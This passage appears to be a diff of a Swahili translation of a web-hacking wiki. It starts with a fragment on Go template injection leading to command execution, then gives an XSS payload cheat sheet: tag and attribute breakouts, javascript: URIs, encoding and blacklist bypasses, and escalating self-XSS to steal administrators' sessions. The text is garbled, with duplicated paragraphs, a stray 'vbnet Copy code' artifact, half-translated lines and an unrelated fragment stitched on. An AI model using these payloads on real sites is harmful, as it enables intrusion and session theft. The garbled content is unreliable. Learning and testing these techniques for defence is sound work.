* `{{ . }}`: Inaonyesha muundo wa data uliowekwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
* `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha mfuatano wa maneno "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongezea "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
**Ushambuliaji wa XSS**
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `&lt;script&gt;alert(1)&lt;/script&gt;`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
**Ushirikishaji wa XSS**
**Ushambuliaji wa RCE**
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `&lt;script&gt;alert(1)&lt;/script&gt;`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita uandishi huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Ushambuliaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
vbnet Copy code
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kufanikisha hili, kama katika mfano uliopewa:
**Ushirikishaji wa RCE**
Ushirikishaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutekeleza hili, kama katika mfano uliopewa:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
@ -8,7 +8,7 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
## Methodology
1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumika** na **JS** code.
2. **Pata muktadha** ambapo inarudi/inatumika.
3. Ikiwa **inarudi**
1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload:
@ -18,19 +18,19 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
3. Je, unaweza kupita ulinzi?
4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
2. Ndani ya **vitambulisho vya HTML**:
2. Ndani ya **HTML tag**:
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
4. Je, unaweza kupita ulinzi?
3. Ndani ya **JavaScript code**:
1. Je, unaweza kutoroka `<script>` tag?
2. Je, unaweza kutoroka string na kutekeleza JS code tofauti?
1. Je, unaweza kukwepa `<script>` tag?
2. Je, unaweza kukwepa mfuatano na kutekeleza JS code tofauti?
3. Je, ingizo lako liko katika template literals \`\`?
4. Je, unaweza kupita ulinzi?
4. Javascript **function** inayo **tekelezwa**
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
4. Ikiwa **inatumiwa**:
4. Ikiwa **inatumika**:
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
@ -41,28 +41,28 @@ Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
## Reflected values
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inarudi** kwenye ukurasa wa wavuti.
* **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
* **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
* **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
* **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
## Contexts
Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
### Raw HTML
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
### Ndani ya sifa za vitambulisho vya HTML
### Ndani ya sifa za HTML tags
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
1. Kutoa **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoa kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoa kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
@ -73,15 +73,15 @@ Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
```
### Ndani ya msimbo wa JavaScript
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
Katika kesi hii, ingizo lako linajitokeza kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa ikitumia **`javascript:`** itifaki:
* Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
* Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
* Ikiwa linajitokeza kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
* Ikiwa linajitokeza **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Ikiwa inarejelewa ndani ya maandiko ya kigezo unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
* Ikiwa linajitokeza ndani ya maandiko ya kiolezo unaweza **kuingiza maelekezo ya JS** ukitumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -104,7 +104,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../.gitbook/assets/image (711).png>)
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, nukta na viwango vya chini tu (**`[\w\._]`**).
Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu tu herufi, nambari, nukta na viwango vya chini (**`[\w\._]`**).
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
@ -120,7 +120,7 @@ parentElement
```
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **kurasa nyingine katika asili hiyo** will have a **DOM yenye kuvutia zaidi** to perform more actions.
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
@ -138,8 +138,8 @@ There is **JS code** that is using **unsafely** some **data controlled by an att
### **Universal XSS**
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Some **examples**:
These kind of XSS can be found **popote**. They not depend just on the client exploitation of a web application but on **muktadha** **wowote**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **kusoma** **faili** **za kawaida** in clients and servers, and more.\
Some **mfano**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -155,7 +155,7 @@ Some **examples**:
## Injecting inside raw HTML
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
When your input is reflected **ndani ya ukurasa wa HTML** or you can escape and inject HTML code in this context the **kitu** cha kwanza you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note: A HTML comment can be closed using\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_
@ -230,7 +230,7 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Length bypass (small XSSs)
### Ujanja wa urefu (XSS ndogo)
{% hint style="info" %}
**XSS ndogo zaidi kwa mazingira tofauti** payload [**inaweza kupatikana hapa**](https://github.com/terjanq/Tiny-XSS-Payloads) na [**hapa**](https://tinyxss.terjanq.me).
@ -247,11 +247,11 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Click XSS - Clickjacking
Ikiwa ili kutumia udhaifu unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
Ikiwa ili kutumia udhaifu huo unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
### Impossible - Dangling Markup
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **JS** msimbo.
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **JS** msimbo.
## Injecting inside HTML tag
@ -275,8 +275,8 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wowote unapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wowote: **`href="javascript:alert(1)"`**
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobonyezwa.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
**Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
@ -309,9 +309,9 @@ Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Mipango Maalum Ndani ya sifa
### Mikataba Maalum Ndani ya sifa
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
Hapa unaweza kutumia mikataba **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -359,13 +359,13 @@ _**Katika kesi hii, hifadhidata ya HTML na hifadhidata ya Unicode kutoka sehemu
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
Kumbuka kwamba ikiwa unajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
**Kutumia Hex na Octal encode na `javascript:`**
@ -385,16 +385,16 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
```javascript
<a target="_blank" rel="opener"
```
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" and rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### juu ya Kuepuka Wakati wa Wakati
### juu ya Kuepuka Wakati wa Wamiliki
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** muhimu.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda event handlers hizi unaweza kujaribu njia zifuatazo za kuepuka:
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa, unaweza kujaribu njia zifuatazo za kuepuka:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -424,15 +424,15 @@ Na katika **meta tags**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kushawishi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, mradi unaweza **kumshawishi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Payload ya XSS itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
### Kupita Orodha ya Blacklist
### Kupita kwenye Orodha ya Blacklist
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimefunuliwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
* **Uandishi wa HTML (vitambulisho vya HTML)**
* **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
@ -442,11 +442,11 @@ Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndan
**Kupita kwa vitambulisho na sifa za HTML**
Soma [Kupita Orodha ya Blacklist ya sehemu ya awali](./#blacklist-bypasses).
Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](./#blacklist-bypasses).
**Kupita kwa msimbo wa JavaScript**
Soma [Orodha ya Blacklist ya kupita JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
Soma [Orodha ya Blacklist ya kupita ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -550,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab
// Any other char escaped is just itself
```
**Mabadiliko ya nafasi ndani ya JS code**
**Mabadiliko ya nafasi ndani ya msimbo wa JS**
```javascript
<TAB>
/**/
@ -735,21 +735,21 @@ top[8680439..toString(30)](1)
````
## **Vikosi vya DOM**
Kuna **kodiyaki ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
Kuna **kodiyake ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Hapa utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
### Kuboresha Self-XSS
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa utapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa utapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarishwa na cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -757,21 +757,21 @@ Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni
Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Kutuma kikao chako kwa msimamizi
### Kutuma kikao chako kwa admin
Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea udhaifu huo.
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
### Kurefusha Kikao
Ikiwa utapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Ikiwa utapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/zako za kikao.
## Njia Nyingine za Kupita
### Unicode Iliyosawazishwa
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zinakuwa **sawasawa za unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
@ -779,12 +779,12 @@ Unaweza kuangalia ikiwa **thamani zilizorejelewa** zinakuwa **sawasawa za unicod
```
### Ruby-On-Rails bypass
Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
